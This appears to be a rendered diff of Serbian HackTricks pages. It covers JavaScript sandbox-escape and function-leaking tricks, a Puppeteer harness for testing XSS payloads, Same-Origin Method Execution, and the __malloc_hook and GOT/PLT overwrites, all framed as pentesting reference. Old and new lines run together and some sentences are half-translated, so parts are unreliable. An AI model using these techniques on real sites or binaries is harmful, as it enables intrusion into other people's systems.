console.log(log)//33,45,62 console.log(log)//33,45,62
``` ```
## **Analiziranje atributa** ## **Analiza atributa**
Alatka **Hackability inspector** od Portswigger-a pomaže u **analiziranju** **atributa** javascript objekta. Proverite: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E) The tool **Hackability inspector** from Portswigger helps to **analizirati** the **atribute** of a javascript object. Check: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
## **.map js fajlovi** ## **.map js datoteke**
* Trik za preuzimanje .map js fajlova: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7) * Trick to download .map js datoteke: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
* Možete koristiti ovaj alat za analizu ovih fajlova [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji) * You can use this tool to analyze these files [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
## "--" Dodela ## "--" Dodeljivanje
Operator dekrementacije `--` je takođe dodela. Ovaj operator uzima vrednost i zatim je umanjuje za jedan. Ako ta vrednost nije broj, postaviće se na `NaN`. Ovo se može koristiti za **uklanjanje sadržaja promenljivih iz okruženja**. The decrement operator `--` is also an dodeljivanje. This operator takes a value and then decrements it by one. If that value is not a number, it will be set to `NaN`. This can be used to **ukloniti sadržaj varijabli iz okruženja**.
![](<../../.gitbook/assets/image (993).png>) ![](<../../.gitbook/assets/image (993).png>)
![](<../../.gitbook/assets/image (329).png>) ![](<../../.gitbook/assets/image (329).png>)
## Trikovi sa funkcijama ## Funkcije Trikovi
### .call i .apply ### .call i .apply
Metoda **`.call`** funkcije se koristi za **izvršavanje funkcije**.\ The **`.call`** method of a function is used to **pokrenuti funkciju**.\
**Prvi argument** koji očekuje podrazumevano je **vrednost `this`** i ako **ništa** nije pruženo, **`window`** će biti ta vrednost (osim ako se koristi **`strict mode`**). The **first argument** it expects by default is the **value of `this`** and if **nothing** is provided, **`window`** will be that value (unless **`strict mode`** is used).
```javascript ```javascript
function test_call(){ function test_call(){
console.log(this.value); //baz console.log(this.value); //baz
@ -255,9 +253,9 @@ console.log(this); //[object Window]
} }
test_apply.apply(null, ["arg1", "arg2"]) test_apply.apply(null, ["arg1", "arg2"])
``` ```
### Strelaste funkcije ### Arrow functions
Strelaste funkcije vam omogućavaju da lakše generišete funkcije u jednom redu (ako ih razumete) Arrow functions omogućavaju vam da generišete funkcije u jednoj liniji lakše (ako ih razumete)
```javascript ```javascript
// Traditional // Traditional
function (a){ return a + 1; } function (a){ return a + 1; }
@ -280,7 +278,7 @@ let a = 4;
let b = 2; let b = 2;
() => a + b + 1; () => a + b + 1;
``` ```
Dakle, većina prethodnih funkcija zapravo su beskorisne jer ih negde ne čuvamo da bismo ih sačuvali i pozvali. Primer kreiranja funkcije `plusone`: Dakle, većina prethodnih funkcija je zapravo beskorisna jer ih nigde ne čuvamo da bismo ih sačuvali i pozvali. Primer kreiranja `plusone` funkcije:
```javascript ```javascript
// Traductional // Traductional
function plusone (a){ return a + 1; } function plusone (a){ return a + 1; }
@ -290,7 +288,7 @@ plusone = a => a + 100;
``` ```
### Bind funkcija ### Bind funkcija
Bind funkcija omogućava kreiranje **kopije** funkcije modifikujući **`this`** objekat i zadate **parametre**. Funkcija bind omogućava kreiranje **kopije** **funkcije koja menja** **`this`** objekat i **parametre** koji su dati.
```javascript ```javascript
//This will use the this object and print "Hello World" //This will use the this object and print "Hello World"
var fn = function ( param1, param2 ) { var fn = function ( param1, param2 ) {
@ -315,12 +313,12 @@ var bindFn_this = fn.bind(this, "fixingparam1");
bindFn_change('Hello', 'World') bindFn_change('Hello', 'World')
``` ```
{% hint style="info" %} {% hint style="info" %}
Imajte na umu da korišćenjem **`bind`** metode možete manipulisati **`this`** objektom koji će biti korišćen prilikom pozivanja funkcije. Napomena da korišćenjem **`bind`** možete manipulisati **`this`** objektom koji će biti korišćen prilikom pozivanja funkcije.
{% endhint %} {% endhint %}
### Curenje koda funkcije ### Curjenje koda funkcije
Ako možete **pristupiti objektu** funkcije, možete **dobiti kod** te funkcije Ako možete **pristupiti objektu** funkcije, možete **dobiti kod** te funkcije.
```javascript ```javascript
function afunc(){ function afunc(){
return 1+1; return 1+1;
@ -330,7 +328,7 @@ console.log(String(afunc)); //This will print the code of the function
console.log(this.afunc.toString()); //This will print the code of the function console.log(this.afunc.toString()); //This will print the code of the function
console.log(global.afunc.toString()); //This will print the code of the function console.log(global.afunc.toString()); //This will print the code of the function
``` ```
U slučajevima kada **funkcija nema ime**, možete i dalje ispisati **kôd funkcije** iznutra: U slučajevima kada **funkcija nema ime**, i dalje možete ispisati **kod funkcije** iznutra:
```javascript ```javascript
(function (){ return arguments.callee.toString(); })() (function (){ return arguments.callee.toString(); })()
(function (){ return arguments[0]; })("arg0") (function (){ return arguments[0]; })("arg0")
@ -343,9 +341,9 @@ Neki **slučajni** načini za **izvlačenje koda** funkcije (čak i komentara) i
(u=>(String(u)))(_=>{ /* Hidden commment */ }) (u=>(String(u)))(_=>{ /* Hidden commment */ })
(u=>_=>(String(u)))(_=>{ /* Hidden commment */ })() (u=>_=>(String(u)))(_=>{ /* Hidden commment */ })()
``` ```
## Bekstvo iz peska - Obnavljanje objekta prozora ## Sandbox Escape - Oporavak window objekta
Objekat Prozor omogućava pristup globalno definisanim funkcijama poput alert ili eval. Window objekat omogućava pristup globalno definisanim funkcijama kao što su alert ili eval.
{% code overflow="wrap" %} {% code overflow="wrap" %}
```javascript ```javascript
@ -389,7 +387,7 @@ with(element) {
``` ```
{% endcode %} {% endcode %}
## Tačka prekida prilikom pristupa vrednosti ## Prekidna tačka pri pristupu vrednosti
```javascript ```javascript
// Stop when a property in sessionStorage or localStorage is set/get // Stop when a property in sessionStorage or localStorage is set/get
// via getItem or setItem functions // via getItem or setItem functions
@ -430,7 +428,7 @@ origValue = val;
debugAccess(Object.prototype, 'ppmap') debugAccess(Object.prototype, 'ppmap')
``` ```
## Automatski pristup pretraživača za testiranje payload-ova ## Automatski pristup pretraživaču za testiranje payload-a
```javascript ```javascript
//Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md //Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md
const puppeteer = require("puppeteer"); const puppeteer = require("puppeteer");
@ -470,14 +468,17 @@ await sleep(1000);
await browser.close(); await browser.close();
})(); })();
``` ```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,77 +1,83 @@
# SOME - Izvršenje metoda sa istog izvora # SOME - Izvršenje metoda iste domene
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokrenut na **dark web-u** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**. [**WhiteIntel**](https://whiteintel.io) je **pretraživač** pokretan **dark-webom** koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija. Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na: Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
## Izvršenje metoda sa istog izvora ## Izvršenje metoda iste domene
Postojaće situacije u kojima možete izvršiti određeni JavaScript na stranici. Na primer, u slučaju kada možete [**kontrolisati vrednost povratnog poziva koja će biti izvršena**](./#javascript-function). Biće prilika kada možete izvršiti neki ograničeni javascript na stranici. Na primer, u slučaju kada možete[ **kontrolisati vrednost povratnog poziva koja će biti izvršena**](./#javascript-function).
U tim slučajevima, jedna od najboljih stvari koje možete uraditi je **pristup DOM-u da biste pozvali bilo koju** osetljivu akciju koju možete pronaći tamo (kao što je klik na dugme). Međutim, obično ćete pronaći ovu ranjivost u **malim krajnjim tačkama bez bilo čega zanimljivog u DOM-u**. U tim slučajevima, jedna od najboljih stvari koje možete učiniti je da **pristupite DOM-u kako biste pozvali bilo koju** osetljivu akciju koju možete pronaći (poput klika na dugme). Međutim, obično ćete ovu ranjivost pronaći u **malim krajnjim tačkama bez ikakvih zanimljivih stvari u DOM-u**.
U tim scenarijima, ovaj napad će biti veoma koristan, jer je cilj da možete **zloupotrebiti ograničeno izvršenje JS unutar DOM-a sa druge stranice sa istog domena** sa mnogo zanimljivih akcija. U tim scenarijima, ovaj napad će biti veoma koristan, jer je njegov cilj da bude u mogućnosti da **zloupotrebi ograničeno izvršavanje JS unutar DOM-a sa različite stranice iz iste domene** sa mnogo zanimljivim akcijama.
Osnovno, tok napada je sledeći: U osnovi, tok napada je sledeći:
* Pronađite **povratni poziv koji možete zloupotrebiti** (potencijalno ograničen na \[\w\\.\_]). * Pronađite **povratni poziv koji možete zloupotrebiti** (potencijalno ograničen na \[\w\\.\_]).
* Ako nije ograničen i možete izvršiti bilo koji JS, možete jednostavno zloupotrebiti ovo kao redovan XSS * Ako nije ograničen i možete izvršiti bilo koji JS, mogli biste to zloupotrebiti kao redovni XSS
* Naterajte **žrtvu da otvori stranicu** koju kontroliše **napadač** * Naterajte **žrtvu da otvori stranicu** koju kontroliše **napadač**
* **Stranica će se sama otvoriti** u **različitom prozoru** (novi prozor će imati objekat **`opener`** koji referiše na početni) * **Stranica će se otvoriti** u **drugom prozoru** (novi prozor će imati objekat **`opener`** koji referencira inicijalni)
* **Početna stranica** će učitati **stranicu** gde se nalazi **zanimljiv DOM**. * **Inicijalna stranica** će učitati **stranicu** gde se nalazi **zanimljivi DOM**.
* **Druga stranica** će učitati **ranjivu stranicu zloupotrebljavajući povratni poziv** i koristeći objekat **`opener`** da **pristupi i izvrši neku akciju na početnoj stranici** (koja sada sadrži zanimljiv DOM). * **Druga stranica** će učitati **ranjivu stranicu zloupotrebljavajući povratni poziv** i koristeći objekat **`opener`** da **pristupi i izvrši neku akciju na inicijalnoj stranici** (koja sada sadrži zanimljivi DOM).
{% hint style="danger" %} {% hint style="danger" %}
Imajte na umu da čak i ako početna stranica pristupi novom URL-u nakon što je kreirala drugu stranicu, **`opener` objekat druge stranice i dalje je validna referenca na prvu stranicu u novom DOM-u**. Imajte na umu da čak i ako inicijalna stranica pristupi novoj URL adresi nakon što je kreirala drugu stranicu, **`opener` objekat druge stranice je i dalje važeća referenca na prvu stranicu u novom DOM-u**.
Osim toga, da bi druga stranica mogla koristiti objekat opener, **obe stranice moraju biti na istom izvoru**. To je razlog zašto, da biste zloupotrebili ovu ranjivost, morate pronaći neku vrstu **XSS-a na istom izvoru**. Štaviše, da bi druga stranica mogla da koristi objekat opener, **obe stranice moraju biti iz iste domene**. To je razlog zašto, da biste zloupotrebili ovu ranjivost, morate pronaći neku vrstu **XSS u istoj domeni**.
{% endhint %} {% endhint %}
### Eksploatacija ### Eksploatacija
* Možete koristiti ovaj obrazac da **generišete PoC** za eksploataciju ovog tipa ranjivosti: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator) * Možete koristiti ovaj oblik da **generišete PoC** za eksploataciju ove vrste ranjivosti: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
* Da biste pronašli putanju DOM-a do HTML elementa sa klikom, možete koristiti ovaj browser dodatak: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool) * Da biste pronašli DOM putanju do HTML elementa sa klikom, možete koristiti ovu ekstenziju za pretraživač: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
### Primer ### Primer
* Možete pronaći ranjiv primer na [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/) * Možete pronaći ranjivi primer na [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
* Imajte na umu da u ovom primeru server **generiše JavaScript kod** i **dodaje** ga u HTML na osnovu **sadržaja parametra povratnog poziva:** `<script>opener.{callbacl_content}</script>` . Zato u ovom primeru ne morate eksplicitno navesti korišćenje `opener`. * Imajte na umu da server u ovom primeru **generiše javascript kod** i **dodaje** ga u HTML na osnovu **sadržaja parametra povratnog poziva:** `<script>opener.{callbacl_content}</script>` . Zato u ovom primeru ne morate eksplicitno navesti korišćenje `opener`.
* Takođe proverite ovaj CTF writeup: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068) * Takođe proverite ovaj CTF izveštaj: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
## Reference ## Reference
* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/) * [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,45 +1,52 @@
# AW2Exec - \_\_malloc\_hook # AW2Exec - \_\_malloc\_hook
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## **Malloc Hook** ## **Malloc Hook**
Kako se može videti na [zvaničnom GNU sajtu](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), promenljiva **`__malloc_hook`** je pokazivač koji pokazuje na **adresu funkcije koja će biti pozvana** svaki put kada se pozove `malloc()` **koja je smeštena u delu podataka libc biblioteke**. Stoga, ako se ova adresa prepiše sa **One Gadget**-om na primer i pozove se `malloc`, **One Gadget će biti pozvan**. Kao što možete videti na [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), promenljiva **`__malloc_hook`** je pokazivač koji pokazuje na **adresu funkcije koja će biti pozvana** svaki put kada se pozove `malloc()` **smeštena u sekciji podataka libc biblioteke**. Stoga, ako se ova adresa prepiše sa **One Gadget**, na primer, i pozove se `malloc`, **One Gadget će biti pozvan**.
Za poziv malloc-a moguće je sačekati da program to pozove ili **pozivanjem `printf("%10000$c")`** koji alocira previše bajtova čime `libc` poziva malloc da ih alocira na hipu. Da biste pozvali malloc, moguće je čekati da program to pozove ili **pozivom `printf("%10000$c")`** koji alocira previše bajtova, čime `libc` poziva malloc da ih alocira na heap-u.
Više informacija o One Gadget-u: Više informacija o One Gadget-u možete pronaći u:
{% content-ref url="../one-gadget.md" %} {% content-ref url="../one-gadget.md" %}
[one-gadget.md](../one-gadget.md) [one-gadget.md](../one-gadget.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="danger" %}
Napomena: hook-ovi su **onemogućeni za GLIBC >= 2.34**. Postoje druge tehnike koje se mogu koristiti na modernim verzijama GLIBC-a. Pogledajte [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
{% endhint %}
## Reference ## Reference
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) * [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
* [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,58 +1,59 @@
# AW2Exec - GOT/PLT # AW2Exec - GOT/PLT
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
